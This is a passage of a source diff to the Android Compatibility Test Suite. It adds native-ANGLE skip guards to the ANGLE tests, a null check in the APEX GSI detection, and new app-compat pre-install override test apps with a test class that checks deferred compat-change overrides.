         // Run the ANGLE activity so it'll clear up any 'default' settings.
         device.executeShellCommand("am start --user " + device.getCurrentUser() +
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
index b63dd99..9431088 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -127,6 +127,7 @@
     @Test
     public void testUseDefaultDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -144,6 +145,7 @@
     @Test
     public void testUseAngleDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -161,6 +163,7 @@
     @Test
     public void testUseNativeDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -178,6 +181,7 @@
     @Test
     public void testSettingsLengthMismatch() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -201,6 +205,7 @@
     @Test
     public void testUseInvalidDriver() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -217,6 +222,7 @@
     @Test
     public void testUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
 
@@ -239,6 +245,7 @@
     @Test
     public void testMultipleDevOptionsAngleNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -263,6 +270,7 @@
     @Test
     public void testMultipleUpdateDriverValues() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         installApp(ANGLE_DRIVER_TEST_APP);
         installApp(ANGLE_DRIVER_TEST_SEC_APP);
@@ -450,6 +458,7 @@
     @Test
     public void testAngleInUseDialogBoxWithAngle() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
@@ -465,6 +474,7 @@
     @Test
     public void testAngleInUseDialogBoxWithNative() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1");
 
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
index 326cb7a..4f0859e 100644
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java
@@ -97,6 +97,7 @@
     @Test
     public void testEmptyRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_EMPTY);
 
@@ -113,6 +114,7 @@
     @Test
     public void testEnableAngleRulesFile() throws Exception {
         Assume.assumeTrue(isAngleLoadable(getDevice()));
+        Assume.assumeFalse(isNativeDriverAngle(getDevice()));
 
         pushRulesFile(RULES_FILE_ENABLE_ANGLE);
 
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
index 5ccdaf3..6652ef02 100644
--- a/hostsidetests/apex/src/android/apex/cts/ApexTest.java
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -36,16 +36,17 @@
 
   private boolean isGSI() throws Exception {
     String systemProduct = getDevice().getProperty("ro.product.system_ext.name");
-    return systemProduct.equals("aosp_arm")
-      || systemProduct.equals("aosp_arm64")
-      || systemProduct.equals("aosp_x86")
-      || systemProduct.equals("aosp_x86_64")
-      || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
-      || systemProduct.equals("aosp_arm64_ab")
-      || systemProduct.equals("aosp_x86_ab")
-      || systemProduct.equals("aosp_x86_64_ab")
-      || systemProduct.equals("aosp_tv_arm")
-      || systemProduct.equals("aosp_tv_arm64");
+    return (null != systemProduct)
+        && (systemProduct.equals("aosp_arm")
+            || systemProduct.equals("aosp_arm64")
+            || systemProduct.equals("aosp_x86")
+            || systemProduct.equals("aosp_x86_64")
+            || systemProduct.equals("aosp_arm_ab") // _ab for Legacy GSI
+            || systemProduct.equals("aosp_arm64_ab")
+            || systemProduct.equals("aosp_x86_ab")
+            || systemProduct.equals("aosp_x86_64_ab")
+            || systemProduct.equals("aosp_tv_arm")
+            || systemProduct.equals("aosp_tv_arm64"));
   }
 
   /**
diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index e0c389e..0e578ee 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -21,7 +21,9 @@
         "tradefed",
         "guava",
     ],
-    static_libs:["CompatChangeGatingTestBase"],
+    static_libs:[
+        "CompatChangeGatingTestBase",
+    ],
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
index 28b33d2..21b7e93 100644
--- a/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
+++ b/hostsidetests/appcompat/compatchanges/app/AndroidManifest.xml
@@ -15,7 +15,7 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appcompat">
+        package="com.android.cts.appcompat.compatchanges">
     <!-- targetSdkVersion for this test must be below 1234 -->
     <uses-sdk android:targetSdkVersion="29"/>
     <application
@@ -25,6 +25,6 @@
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appcompat" />
+        android:targetPackage="com.android.cts.appcompat.compatchanges" />
 
 </manifest>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
similarity index 98%
rename from hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
rename to hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
index 7025a96..27cef40 100644
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/CompatChangesTest.java
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.cts.appcompat;
+package com.android.cts.appcompat.compatchanges;
 
 import static com.google.common.truth.Truth.assertThat;
 
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
new file mode 100644
index 0000000..d0bdf36
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -0,0 +1,77 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library_static {
+    name: "pre_install_override_lib",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_debuggable",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_debuggable.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode1_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode1_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "appcompat_preinstall_override_versioncode2_release",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["pre_install_override_lib"],
+    manifest: "AndroidManifest_versioncode2_release.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
new file mode 100644
index 0000000..ce8a215
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application  android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
new file mode 100644
index 0000000..10c39ac
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="1">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
new file mode 100644
index 0000000..cce0eba
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="true">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
new file mode 100644
index 0000000..7519ce0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.preinstalloverride"
+        android:versionCode="2">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application android:debuggable="false">
+         <activity android:name=".Empty" android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
similarity index 60%
copy from hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
copy to hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
index 3e52342..45596d8 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,16 +13,10 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.cts.appcompat.preinstalloverride;
 
-package com.android.server.cts.device.statsd;
+import android.app.Activity;
 
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
+public class EmptyActivity extends Activity {
 
-public class DummyCallscreeningService extends CallScreeningService {
-    @Override
-    public void onScreenCall(@NonNull Call.Details callDetails) {
-
-    }
 }
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
new file mode 100644
index 0000000..52356b9
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeThat;
+
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.List;
+
+public final class CompatChangesPreInstallOverrideTest extends CompatChangeGatingTestCase {
+    private static final String TEST_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
+    private static final String CTS_CHANGE_ID_NAME = "CTS_SYSTEM_API_CHANGEID";
+    private static final long CTS_CHANGE_ID = 149391281L;
+
+    @Override
+    protected void setUp() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 1");
+    }
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PACKAGE, false);
+        runCommand("am compat reset-all " + TEST_PACKAGE);
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0");
+    }
+
+    public void testDeferEnablingChangeIdAppNotInstalled() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isFalse();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideRemainsDeferredPostInstall() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                    .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testDeferredOverrideBecomesRegularOverridePostUpdate() throws Exception {
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+            installPackage("appcompat_preinstall_override_versioncode2_debuggable.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isFalse();
+            assertThat(ctsChange.hasOverrides).isTrue();
+            assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    public void testOverrideBecomesDeferredPostUpdate() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+        runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        try {
+            installPackage("appcompat_preinstall_override_versioncode2_release.apk", false);
+
+            Change ctsChange = getCtsChange();
+            assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+                .that(ctsChange).isNotNull();
+            assertThat(ctsChange.hasDeferredOverrides).isTrue();
+            assertThat(ctsChange.deferredOverridesStr)
+                    .isEqualTo("{" + TEST_PACKAGE + "=true}");
+            assertThat(ctsChange.hasOverrides).isFalse();
+
+        } finally {
+            runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+        }
+    }
+
+    private Change getCtsChange() throws Exception {
+        List<Change> allChanges = getOnDeviceCompatConfig();
+        for (Change change : allChanges) {
+            if (change.changeId == CTS_CHANGE_ID) {
+                return change;
+            }
+        }
+        return null;
+    }
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
index 2f8790f..4316626 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
@@ -34,7 +34,7 @@
 public class CompatChangesSystemApiTest extends CompatChangeGatingTestCase {
 
     protected static final String TEST_APK = "CtsHostsideCompatChangeTestsApp.apk";
-    protected static final String TEST_PKG = "com.android.cts.appcompat";
+    protected static final String TEST_PKG = "com.android.cts.appcompat.compatchanges";
 
     private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
 
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index f8f4ccd..86ce834 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -18,16 +18,14 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
-import java.util.Objects;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
 
-import android.compat.cts.CompatChangeGatingTestCase;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
 
 import org.w3c.dom.Document;
 import org.w3c.dom.Element;
@@ -35,153 +33,26 @@
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
 
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-
 public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCase {
 
-    private static class Change {
-        private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
-                                                + "(; name=(?<changeName>[^;]+))?"
-                                                + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
-                                                + "(; (?<disabled>disabled))?"
-                                                + "(; (?<loggingOnly>loggingOnly))?"
-                                                + "(; packageOverrides=(?<overrides>[^\\)]+))?"
-                                                + "\\)");
-        long changeId;
-        String changeName;
-        int sinceSdk;
-        boolean disabled;
-        boolean loggingOnly;
-        boolean hasOverrides;
-
-        private Change(long changeId, String changeName, int sinceSdk,
-                boolean disabled, boolean loggingOnly, boolean hasOverrides) {
-            this.changeId = changeId;
-            this.changeName = changeName;
-            this.sinceSdk = sinceSdk;
-            this.disabled = disabled;
-            this.loggingOnly = loggingOnly;
-            this.hasOverrides = hasOverrides;
-        }
-
-        static Change fromString(String line) {
-            long changeId = 0;
-            String changeName;
-            int sinceSdk = -1;
-            boolean disabled = false;
-            boolean loggingOnly = false;
-            boolean hasOverrides = false;
-
-            Matcher matcher = CHANGE_REGEX.matcher(line);
-            if (!matcher.matches()) {
-                throw new RuntimeException("Could not match line " + line);
-            }
-
-            try {
-                changeId = Long.parseLong(matcher.group("changeId"));
-            } catch (NumberFormatException e) {
-                throw new RuntimeException("No or invalid changeId!", e);
-            }
-            changeName = matcher.group("changeName");
-            String sinceSdkAsString = matcher.group("sinceSdk");
-            if (sinceSdkAsString != null) {
-                try {
-                    sinceSdk = Integer.parseInt(sinceSdkAsString);
-                } catch (NumberFormatException e) {
-                    throw new RuntimeException("Invalid sinceSdk for change!", e);
-                }
-            }
-            if (matcher.group("disabled") != null) {
-                disabled = true;
-            }
-            if (matcher.group("loggingOnly") != null) {
-                loggingOnly = true;
-            }
-            if (matcher.group("overrides") != null) {
-                hasOverrides = true;
-            }
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-
-        static Change fromNode(Node node) {
-            Element element = (Element) node;
-            long changeId = Long.parseLong(element.getAttribute("id"));
-            String changeName = element.getAttribute("name");
-            int sinceSdk = -1;
-            if (element.hasAttribute("enableAfterTargetSdk")
-                && element.hasAttribute("enableSinceTargetSdk")) {
-                    throw new IllegalArgumentException("Invalid change node!"
-                    + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
-            }
-            if (element.hasAttribute("enableAfterTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
-            }
-            if (element.hasAttribute("enableSinceTargetSdk")) {
-                sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
-            }
-            boolean disabled = false;
-            if (element.hasAttribute("disabled")) {
-                disabled = true;
-            }
-            boolean loggingOnly = false;
-            if (element.hasAttribute("loggingOnly")) {
-                loggingOnly = true;
-            }
-            boolean hasOverrides = false;
-            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
-        }
-        @Override
-        public int hashCode() {
-            return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
-        }
-        @Override
-        public boolean equals(Object other) {
-            if (this == other) {
-                return true;
-            }
-            if (other == null || !(other instanceof Change)) {
-                return false;
-            }
-            Change that = (Change) other;
-            return this.changeId == that.changeId
-                && Objects.equals(this.changeName, that.changeName)
-                && this.sinceSdk == that.sinceSdk
-                && this.disabled == that.disabled
-                && this.loggingOnly == that.loggingOnly
-                && this.hasOverrides == that.hasOverrides;
-        }
-        @Override
-        public String toString() {
-            final StringBuilder sb = new StringBuilder();
-            sb.append("ChangeId(" + changeId);
-            if (changeName != null && !changeName.isEmpty()) {
-                sb.append("; name=" + changeName);
-            }
-            if (sinceSdk != 0) {
-                sb.append("; enableSinceTargetSdk=" + sinceSdk);
-            }
-            if (disabled) {
-                sb.append("; disabled");
-            }
-            if (hasOverrides) {
-                sb.append("; packageOverrides={something}");
-            }
-            sb.append(")");
-            return sb.toString();
+    /**
+     * Check that there are no overrides.
+     */
+    public void testNoOverrides() throws Exception {
+        for (Change c : getOnDeviceCompatConfig()) {
+            assertThat(c.hasOverrides).isFalse();
         }
     }
 
     /**
-     * Get the on device compat config.
+     * Check that the on device config contains all the expected change ids defined in the platform.
+     * The device may contain extra changes, but none may be removed.
      */
-    private List<Change> getOnDeviceCompatConfig() throws Exception {
-        String config = runCommand("dumpsys platform_compat");
-        return Arrays.stream(config.split("\n"))
-                .map(Change::fromString)
-                .collect(Collectors.toList());
+    public void testDeviceContainsExpectedConfig() throws Exception {
+        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
     }
 
+
     /**
      * Parse the expected (i.e. defined in platform) config xml.
      */
@@ -202,21 +73,4 @@
         return changes;
     }
 
-    /**
-     * Check that there are no overrides.
-     */
-    public void testNoOverrides() throws Exception {
-        for (Change c : getOnDeviceCompatConfig()) {
-            assertThat(c.hasOverrides).isFalse();
-        }
-    }
-
-    /**
-     * Check that the on device config contains all the expected change ids defined in the platform.
-     * The device may contain extra changes, but none may be removed.
-     */
-    public void testDeviceContainsExpectedConfig() throws Exception {
-        assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
-    }
-
 }
